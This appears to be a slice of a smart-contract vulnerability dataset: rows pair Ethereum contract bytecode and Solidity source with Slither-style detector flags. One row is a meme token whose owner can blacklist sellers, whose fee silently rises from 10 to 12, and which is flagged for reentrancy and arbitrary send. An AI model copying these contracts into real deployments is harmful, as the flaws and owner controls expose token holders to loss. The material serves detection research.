008282540192505081905550828203600260008d60000160059054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000828254019250508190555084600260008d60000160059054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070160008282540192505081905550828201600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008282540392505081905550828201600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000828254019250508190555084600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701600082825401925050819055508a60020154858c60050154011015156152f45760018b60060160006101000a81548160ff0219169083151502179055505b82600e600082825401925050819055505b5b5b888060019003995050614c46565b5b505050505050505050505050565b600080600091505b6001600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038110156156b1578263ffffffff16600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110151561544657fe5b90600052602060002090600891828204019190066004025b9054906101000a900463ffffffff1663ffffffff1614156156a3578190505b6002600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490500381101561560b57600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001820181548110151561555657fe5b90600052602060002090600891828204019190066004025b9054906101000a900463ffffffff16600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811015156155c957fe5b90600052602060002090600891828204019190066004025b6101000a81548163ffffffff021916908363ffffffff1602179055505b808060010191505061547d565b6001600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181805490500391508161569d9190615897565b506156b1565b5b818060010192505061532c565b5b5050505050565b60008490508073ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b151561579457600080fd5b6102c65a03f115156157a557600080fd5b5050505b5050505050565b61012060405190810160405280600015158152602001600063ffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581525090565b81548183558181151161585257600701600890048160070160089004836000526020600020918201910161585191906158fd565b5b505050565b81548183558181151161587e5781836000526020600020918201910161587d91906158fd565b5b505050565b602060405190810160405280600081525090565b8154818355818115116158cc5760070160089004816007016008900483600052602060002091820191016158cb91906158fd565b5b505050565b8154818355818115116158f8578183600052602060002091820191016158f791906158fd565b5b505050565b61591f91905b8082111561591b576000816000905550600101615903565b5090565b905600a165627a7a72305820edff4d73503ab6a8cdca66f474158c791a8c092aba749c9cbf09f10dd630998c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 389 |
0x23e2a14e6df1c48998466c594a842673c2cfd7e1 | /**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
// SPDX-License-Identifier: Unlicensed
// https://t.me/RapidlyReusableRocketsETH
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RRR is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Rapidly Reusable Rockets";
string private constant _symbol = "RRR\xF0\x9F\x9A\x80";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610306578063c3c8cd8014610326578063c9567bf91461033b578063d543dbeb14610350578063dd62ed3e1461037057600080fd5b8063715018a61461027a5780638da5cb5b1461028f57806395d89b41146102b7578063a9059cbb146102e657600080fd5b8063273123b7116100dc578063273123b7146101e7578063313ce567146102095780635932ead1146102255780636fc3eaec1461024557806370a082311461025a57600080fd5b806306fdde0314610119578063095ea7b31461017157806318160ddd146101a157806323b872dd146101c757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601881527f52617069646c79205265757361626c6520526f636b657473000000000000000060208201525b6040516101689190611a04565b60405180910390f35b34801561017d57600080fd5b5061019161018c366004611895565b6103b6565b6040519015158152602001610168565b3480156101ad57600080fd5b50683635c9adc5dea000005b604051908152602001610168565b3480156101d357600080fd5b506101916101e2366004611855565b6103cd565b3480156101f357600080fd5b506102076102023660046117e5565b610436565b005b34801561021557600080fd5b5060405160098152602001610168565b34801561023157600080fd5b50610207610240366004611987565b61048a565b34801561025157600080fd5b506102076104d2565b34801561026657600080fd5b506101b96102753660046117e5565b6104ff565b34801561028657600080fd5b50610207610521565b34801561029b57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102c357600080fd5b50604080518082019091526007815265a4a4a5e13f3560cf1b602082015261015b565b3480156102f257600080fd5b50610191610301366004611895565b610595565b34801561031257600080fd5b506102076103213660046118c0565b6105a2565b34801561033257600080fd5b50610207610646565b34801561034757600080fd5b5061020761067c565b34801561035c57600080fd5b5061020761036b3660046119bf565b610a3f565b34801561037c57600080fd5b506101b961038b36600461181d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c3338484610b12565b5060015b92915050565b60006103da848484610c36565b61042c843361042785604051806060016040528060288152602001611bd5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611048565b610b12565b5060019392505050565b6000546001600160a01b031633146104695760405162461bcd60e51b815260040161046090611a57565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104b45760405162461bcd60e51b815260040161046090611a57565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104f257600080fd5b476104fc81611082565b50565b6001600160a01b0381166000908152600260205260408120546103c790611107565b6000546001600160a01b0316331461054b5760405162461bcd60e51b815260040161046090611a57565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c3338484610c36565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161046090611a57565b60005b8151811015610642576001600a60008484815181106105fe57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063a81611b6a565b9150506105cf565b5050565b600c546001600160a01b0316336001600160a01b03161461066657600080fd5b6000610671306104ff565b90506104fc8161118b565b6000546001600160a01b031633146106a65760405162461bcd60e51b815260040161046090611a57565b600f54600160a01b900460ff16156107005760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610460565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073d3082683635c9adc5dea00000610b12565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077657600080fd5b505afa15801561078a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae9190611801565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f657600080fd5b505afa15801561080a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082e9190611801565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087657600080fd5b505af115801561088a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ae9190611801565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108de816104ff565b6000806108f36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095657600080fd5b505af115801561096a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098f91906119d7565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0757600080fd5b505af1158015610a1b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064291906119a3565b6000546001600160a01b03163314610a695760405162461bcd60e51b815260040161046090611a57565b60008111610ab95760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610460565b610ad76064610ad1683635c9adc5dea0000084611330565b906113af565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610460565b6001600160a01b038216610bd55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610460565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610460565b6001600160a01b038216610cfc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610460565b60008111610d5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610460565b6000546001600160a01b03848116911614801590610d8a57506000546001600160a01b03838116911614155b15610feb57600f54600160b81b900460ff1615610e71576001600160a01b0383163014801590610dc357506001600160a01b0382163014155b8015610ddd5750600e546001600160a01b03848116911614155b8015610df75750600e546001600160a01b03838116911614155b15610e7157600e546001600160a01b0316336001600160a01b03161480610e315750600f546001600160a01b0316336001600160a01b0316145b610e715760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610460565b601054811115610e8057600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ec257506001600160a01b0382166000908152600a602052604090205460ff16155b610ecb57600080fd5b600f546001600160a01b038481169116148015610ef65750600e546001600160a01b03838116911614155b8015610f1b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f305750600f54600160b81b900460ff165b15610f7e576001600160a01b0382166000908152600b60205260409020544211610f5957600080fd5b610f6442603c611afc565b6001600160a01b0383166000908152600b60205260409020555b6000610f89306104ff565b600f54909150600160a81b900460ff16158015610fb45750600f546001600160a01b03858116911614155b8015610fc95750600f54600160b01b900460ff165b15610fe957610fd78161118b565b478015610fe757610fe747611082565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102d57506001600160a01b03831660009081526005602052604090205460ff165b15611036575060005b611042848484846113f1565b50505050565b6000818484111561106c5760405162461bcd60e51b81526004016104609190611a04565b5060006110798486611b53565b95945050505050565b600c546001600160a01b03166108fc61109c8360026113af565b6040518115909202916000818181858888f193505050501580156110c4573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110df8360026113af565b6040518115909202916000818181858888f19350505050158015610642573d6000803e3d6000fd5b600060065482111561116e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610460565b600061117861141d565b905061118483826113af565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123557600080fd5b505afa158015611249573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126d9190611801565b8160018151811061128e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112b49130911684610b12565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ed908590600090869030904290600401611a8c565b600060405180830381600087803b15801561130757600080fd5b505af115801561131b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261133f575060006103c7565b600061134b8385611b34565b9050826113588583611b14565b146111845760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610460565b600061118483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611440565b806113fe576113fe61146e565b611409848484611491565b80611042576110426005600855600c600955565b600080600061142a611588565b909250905061143982826113af565b9250505090565b600081836114615760405162461bcd60e51b81526004016104609190611a04565b5060006110798486611b14565b60085415801561147e5750600954155b1561148557565b60006008819055600955565b6000806000806000806114a3876115ca565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114d59087611627565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115049086611669565b6001600160a01b038916600090815260026020526040902055611526816116c8565b6115308483611712565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161157591815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006115a482826113af565b8210156115c157505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115e78a600854600954611736565b92509250925060006115f761141d565b9050600080600061160a8e878787611785565b919e509c509a509598509396509194505050505091939550919395565b600061118483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611048565b6000806116768385611afc565b9050838110156111845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610460565b60006116d261141d565b905060006116e08383611330565b306000908152600260205260409020549091506116fd9082611669565b30600090815260026020526040902055505050565b60065461171f9083611627565b60065560075461172f9082611669565b6007555050565b600080808061174a6064610ad18989611330565b9050600061175d6064610ad18a89611330565b905060006117758261176f8b86611627565b90611627565b9992985090965090945050505050565b60008080806117948886611330565b905060006117a28887611330565b905060006117b08888611330565b905060006117c28261176f8686611627565b939b939a50919850919650505050505050565b80356117e081611bb1565b919050565b6000602082840312156117f6578081fd5b813561118481611bb1565b600060208284031215611812578081fd5b815161118481611bb1565b6000806040838503121561182f578081fd5b823561183a81611bb1565b9150602083013561184a81611bb1565b809150509250929050565b600080600060608486031215611869578081fd5b833561187481611bb1565b9250602084013561188481611bb1565b929592945050506040919091013590565b600080604083850312156118a7578182fd5b82356118b281611bb1565b946020939093013593505050565b600060208083850312156118d2578182fd5b823567ffffffffffffffff808211156118e9578384fd5b818501915085601f8301126118fc578384fd5b81358181111561190e5761190e611b9b565b8060051b604051601f19603f8301168101818110858211171561193357611933611b9b565b604052828152858101935084860182860187018a1015611951578788fd5b8795505b8386101561197a57611966816117d5565b855260019590950194938601938601611955565b5098975050505050505050565b600060208284031215611998578081fd5b813561118481611bc6565b6000602082840312156119b4578081fd5b815161118481611bc6565b6000602082840312156119d0578081fd5b5035919050565b6000806000606084860312156119eb578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a3057858101830151858201604001528201611a14565b81811115611a415783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611adb5784516001600160a01b031683529383019391830191600101611ab6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0f57611b0f611b85565b500190565b600082611b2f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4e57611b4e611b85565b500290565b600082821015611b6557611b65611b85565b500390565b6000600019821415611b7e57611b7e611b85565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104fc57600080fd5b80151581146104fc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b64cff476029b4e4dad54826b7feabbe2850f9ef85597e540e57ed65483ada6664736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 390 |
0x9224ca23168a20bc1b5e2a1627edf783e193d39c | pragma solidity ^0.4.13;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemToken {
using SafeMath for uint256;
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner;
mapping (address => bool) private admins;
bool private erc721Enabled = false;
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
uint256[] private listedItems;
mapping (uint256 => address) private ownerOfItem;
mapping (uint256 => uint256) private startingPriceOfItem;
mapping (uint256 => uint256) private priceOfItem;
mapping (uint256 => address) private approvedOfItem;
function ItemToken () public {
owner = msg.sender;
admins[owner] = true;
}
/* Modifiers */
